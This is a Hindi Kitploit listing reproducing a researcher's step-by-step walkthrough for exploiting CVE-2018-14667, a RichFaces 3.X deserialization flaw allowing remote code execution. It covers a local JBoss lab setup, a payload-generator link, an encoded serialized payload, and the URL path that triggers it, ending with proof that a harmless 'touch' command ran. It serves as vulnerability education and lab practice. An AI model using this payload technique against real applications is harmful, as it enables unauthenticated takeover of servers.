Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2018-14667 — CVE-2018-14667 के बारे में सब कुछ; यह क्या है से लेकर इसे सफलतापूर्वक कैसे शोषण करें तक। | Kitploit
उपकरण/GitHubGitHub/syriusbughunt/cve-2018-14667
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणलर्निंग और शिक्षापेलोड डेवलपमेंटलैब और अभ्यास
GitHubsyriusbughunt/cve-2018-14667

CVE-2018-14667

CVE-2018-14667 के बारे में सब कुछ; यह क्या है से लेकर इसे सफलतापूर्वक कैसे शोषण करें तक।

रिपॉजिटरी देखें
50927 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2018-14667

इस CVE को समझने और सही तरीके से exploit करने में काफी समय बिताने के बाद, मैंने RichFaces 3.X RCE बग पर एक रिपॉजिटरी बनाने और समुदाय के साथ HOWTOs को कदम दर कदम साझा करने का निर्णय लिया।

0x00 : RichFaces 3.X बग पर परिचय

सोमवार, 19 नवंबर को, Joao F M Figueiredo ने एक गंभीर उच्च-जोखिम वाली RichFaces कमजोरी पर एक विस्तृत लेख (https://seclists.org/fulldisclosure/2018/Nov/47) प्रकाशित किया।
CVSS3 Base Score 9.8

यह कमजोरी किसी भी अप्रमाणित उपयोगकर्ता को RichFaces 3.X (सभी संस्करण) का उपयोग करने वाले किसी भी वेब एप्लिकेशन पर रिमोट कोड निष्पादन करने की अनुमति देगी, जो कि सबसे खराब स्थिति है।

0x01 : क्या मैं प्रभावित हूं? 

खैर, यदि आप RichFaces 3.X (RichFaces 3 का कोई भी संस्करण) चला रहे हैं और आप अपने स्रोत में निम्नलिखित कोड देखते हैं, तो संभावना है कि हां, आप CVE-2018-14667 पर रिमोट कोड निष्पादन के लिए कमजोर हो सकते हैं:

  • org.ajax4jsf.resource.InternetResource
  • org.ajax4jsf.resource.SerializableResource
  • javax.el.Expression
  • javax.faces.el.MethodBinding
  • javax.faces.component,StateHolderSaver
  • java.awt.Color

0x02 : बग का परीक्षण करने के लिए कमजोर वातावरण चलाना 

मैं मूल रूप से वही दोहराऊंगा जो seclists.org के लेख में कमजोर वातावरण को तैनात करने के तरीके पर पहले ही कवर किया गया है।

  1. JBoss 5.1.0GA और RichFaces के साथ एक डेमो एप्लिकेशन डाउनलोड करें जिसमें PhotoAlbum एप्लिकेशन शामिल है।
    → http://downloads.jboss.org/richfaces/releases/3.3.X/3.3.4.Final/richfaces-examples-3.3.4.Final.zip
    → https://sourceforge.net/projects/jboss/files/JBoss/JBoss-5.1.0.GA/
  2. ZIP संग्रह को अनज़िप करें।
  3. एप्लिकेशन richfaces-examples-3.3.4.Final/photoalbum/dist/photoalbum-ear-3.3.4.Final.ear को JBoss डिप्लॉय डायरेक्टरी jboss-5.1.0.GA/server/default/deploy/ में कॉपी करें।
  4. निम्नलिखित सिंटैक्स का उपयोग करके JBoss एप्लिकेशन सर्वर शुरू करें (लॉन्च करने से पहले सुनिश्चित करें कि आपका पोर्ट 8080 पहले से उपयोग में नहीं है): cd bin ; ./run.sh -b 0.0.0.0
  5. वेब एप्लिकेशन को सक्रिय करने के लिए आपको PhotoAlbum इंडेक्स पेज पर ब्राउज़ करना होगा।

0x03 : एक मान्य पेलोड उत्पन्न करना 

अब मजेदार हिस्सा! यह वह जगह है जहां मुझे कठिनाइयों का सामना करना पड़ा, इसलिए मैं विस्तार से समझाऊंगा कि एक मान्य पेलोड कैसे उत्पन्न करें और उन्हीं गलतियों को दोहराए बिना जो मैंने कीं। मैं पहले पेलोड को संकलित करने के लिए Eclipse का उपयोग करने का सुझाव दूंगा।

  1. निम्नलिखित लिंक से Eclipse डाउनलोड करें:
    → https://www.eclipse.org/downloads/
  2. Eclipse लॉन्च करें और एक नया Web Project बनाने का विकल्प चुनें।
  3. इस रिपॉजिटरी में उपलब्ध पेलोड जनरेटर (क्रेडिट orich1 को जाता है https://xz.aliyun.com/t/3264 से) प्राप्त करें
    → https://raw.githubusercontent.com/syriusbughunt/CVE-2018-14667/master/Main.java
  4. इस रिपॉजिटरी में WAR संग्रह (richfaces-demo-3.3.0.GA-tomcat6.war) निकालें, WEB-INF/lib/ फ़ोल्डर से सभी .jar फ़ाइलों को Eclipse में अपने Java Web Project में WebContent/WEB-INF/lib/ में कॉपी करें
    → https://github.com/syriusbughunt/CVE-2018-14667/blob/master/richfaces-demo-3.3.0.GA-tomcat6.war
  5. Eclipse में Main.java फ़ाइल जोड़ें; Eclipse में अपने Java Web Project के नाम पर राइट-क्लिक करें, New, File चुनें।
  6. Eclipse में WebContent/WEB-INF/lib फ़ोल्डर को Build Path स्रोत बनाएं; lib फ़ोल्डर पर राइट-क्लिक करें, Build Path, Use as Source Folder चुनें।
  7. देखते हैं कि आप भाग्यशाली हैं या नहीं; कंपाइलर चलाने के लिए हरे Play बटन पर क्लिक करें। यदि आपको 0 त्रुटियां और अपने आउटपुट में एक मान्य पेलोड मिलता है, तो बधाई हो, अब आपके पास CVE-2018-14667 के लिए एक मान्य पेलोड है। अब, यदि आपको सभी प्रकार की त्रुटियां मिल रही हैं, तो घबराएं नहीं। आप निम्नलिखित पंक्तियों को कमेंट करना चाह सकते हैं: 29,30,31,32,33,34,35 ताकि वे इस तरह दिखें:
root@kitploit:~
        // Class clazz = Class.forName("javax.el.MethodExpression");
        // Field field = clazz.getField("serialVersionUID");
        // field.setAccessible(true);
        // Field modifiersField = Field.class.getDeclaredField("modifiers");
        // modifiersField.setAccessible(true);
        // modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL);
        // field.setLong(null, MethodExpressionSerialVersionUID);

Eclipse में आपका आउटपुट परिणाम निम्नलिखित जैसा दिखना चाहिए:

root@kitploit:~
/DATA/eAHNVU1rE0EYnkarbf2qtqhVhLiKTUVmW6mHWgOFKiqkFpq2fvQgk82bZOJ-dWY2WSwVRUSwIkjxpiJ4bS!6B!ToJ9Jf4EEREUEE8SbOzKaJDeqhp-xpZvfZ533med59d-ErauYMHfRYHpMiCfuLPIcZcC9gFuAJDmysstk!wehxIghSV8eRLzG0NoU2WQyIgGHPFeAKgbaliqRETJu4eXM0UwRLDKbQegh9Kjmn0RXUlEItjpelOQrZyr65ROwA9Cb0pZYDiiLEOWIBx5bn-J4ruXFayEKnPDsLLE1KwM6!fJqcv!9mJIZiKdRq2YTzM8SBlRrSglE3LzW0cflOVnMItD1SST0zDYwSm14mGRsGQ1-V75YlMQ9cLcAGwTHYeJzkR0AUvOyJ0Jcn4dRztQ8INW1EKGSoKxItofW4J-bLuQ8!--!ENK6jiqsxPb5xK!39wtIxhVAKBlQYjFqFyIKAYuL7NrWIkGUjH-qLnGUSAgwn7l07ujD2UXvSmSEcohBqtQTapQ8fmmCbk8r42jNp0zqfMB3k7hqqvtZgqLJqkULjSmgx43HtUR3bace3BxZn287Ni-7Io53Vs9dBy21Xp94!-3VXGaC4W8uP0PV9MwymA-AC50EMq3gTPdVlyiOyD-QNWy6ih4Zix6rz8FjgCuqAofGR!IQhWWr3qVvyLkHCDWy7B0MIVsIQXmAV4qZwfJOoy-iZ!U-qvh9KA!auMKDeKOVA5tuOHxuebx1RDmjbyjcb42goYKhjSqccmVb5VBaXJj993jNzUjej7PGYQJ3aWerh0UD4gZBAII5A7TXDoy6TnpSX0Duz2rqmA1lKordMCIn0A7hZ9CGf1mscFoRjx4d6D!XGh!r6Dvf1J40VAyXZAE1ghHpwrdGj6R-zoa6f!xwNKvR2zbCl!ADNNcCB4hCNY7RZBxgIamM52EHF9xa9Xl18BTleL-YCN2lU2BsrOpVCVyWFh-h2I6Sw!Bf8Wwyv0IvVxVAMuEgay9SNkYFALao7xuUo!w0w9PXD.jsf

0x04 : अपना पेलोड भेजना और रिमोट कोड निष्पादन प्राप्त करना 

अपने ब्राउज़र में अपने स्थानीय JBoss सर्वर पर नेविगेट करें जो PhotoAlbum Web Application चला रहा है http://192.168.100.2:8080/photoalbum और पेज स्रोत देखने के लिए राइट-क्लिक करें। Ctrl+F दबाएं और '/DATA/' खोजें। आपको कुछ इस प्रकार मिलना चाहिए:

root@kitploit:~
src="/photoalbum/a4j/s/3_3_3.Finalorg.ajax4jsf.resource.UserResource/n/n/DATA/eAF1Uk1rFEEQrQwGEz9AXVFyCMQoCiI9JCZeYkBQ0cCsQccI6ql2pna2h57ptrtndzDozYuCF6!evOpFf4HXgJf8BkFEBBHEq929QUnAvlXx6r1Xr!rtd5g0Gs5LXTAssV0qTZ9pMrLRGbENQ!rOTnFmQ!NraBH86yx!i2BfAoczTWjpqqwt1dbCsaTEIcYC6yJe75WU2ZUE9lOruON8BE9hIoGpSua8zynfqSeHKBoKRaucl7OeomV9zMiwTFZK1o6bpdYJ3ZQiJ53ikPT9rQ-rr15!6kYQJTCdCTTmFla020NqNa8L5-GAcTN54LBwYuySyzglzVHwx9gTtNIqL3!OSTLT1MGAIGsYCXYXiy7Zgcyvt8ptYrisQw4AE4cAWg0zY9MOuhf3Pt568fn30sso4Dp!cf-Y3jx7nv58sH3ZI7yDU!4YZU-aIL2Xb61Sovfj5K-DH492vbYPbmo0CzOnN3mFBSUSXURMIa!tmm88AWg0dB6GpZk!jcsyxPJu-96Xr7ObN4Kw2yeycNz7Y1yy9caqxjogYWXhSGiH2fFZlWpHKdyOeZ2JJicTB-3YCO6KgRyxdmArMXfl4sKFhcVLc7u-yer8f63OuxuoP9Xj4!8_" style="opacity: 0.1" class="main-image"><span class="rich-tool-tip tooltip" 

आप स्पष्ट रूप से सीरियलाइज़्ड ऑब्जेक्ट देख सकते हैं। यह वह जगह है जहां हम सीरियलाइज़्ड ऑब्जेक्ट को अपने पेलोड से बदलकर रिमोट कोड निष्पादन प्राप्त करेंगे। अपने ब्राउज़र में, URL को http://192.168.100.2:8080/photoalbum/a4j/s/3_3_3.Finalorg.ajax4jsf.resource.UserResource/n/n/DATA/YOUR-PAYLOAD-GENERATED-IN-ECLIPSE में बदलें। मेरे पेलोड ने निम्नलिखित कमांड निष्पादित किया था 'touch /tmp/PoorRichFaces'। देखते हैं कि मुझे सफलता मिली या नहीं:

root@kitploit:~
drwxrwxrwt 12 root   root    32768 Nov 30 01:45 .
drwxr-xr-x 25 root   root     4096 Nov 25 12:57 ..
-rw-rw-r--  1 syrius syrius      0 Nov 30 1:27 PoorRichFaces 

अच्छा लग रहा है, है ना? हमने अभी-अभी RichFaces 3.X चलाने वाले Java Web Application पर RCE प्राप्त किया।

0x05 : पैच कैसे करें ? 

आपको यह तथ्य पसंद नहीं आ सकता है, इसलिए तैयार रहें और अपने कीबोर्ड को पकड़ें; RichFaces अपने उत्पाद के समर्थन के संबंध में जीवन के अंत तक पहुंच गया है, इसलिए उपयोगकर्ता (आप) को अपना स्वयं का पैच लागू करना चाहिए। घबराएं नहीं, यदि आप पैच करने का कोई तरीका नहीं ढूंढ पाते हैं, तो मुझसे संपर्क करने में संकोच न करें, हम एक व्यवस्था कर सकते हैं ताकि मैं आपके Java Web Applications को पैच कर सकूं।

E-mail: [email protected]

टूल डाउनलोड करें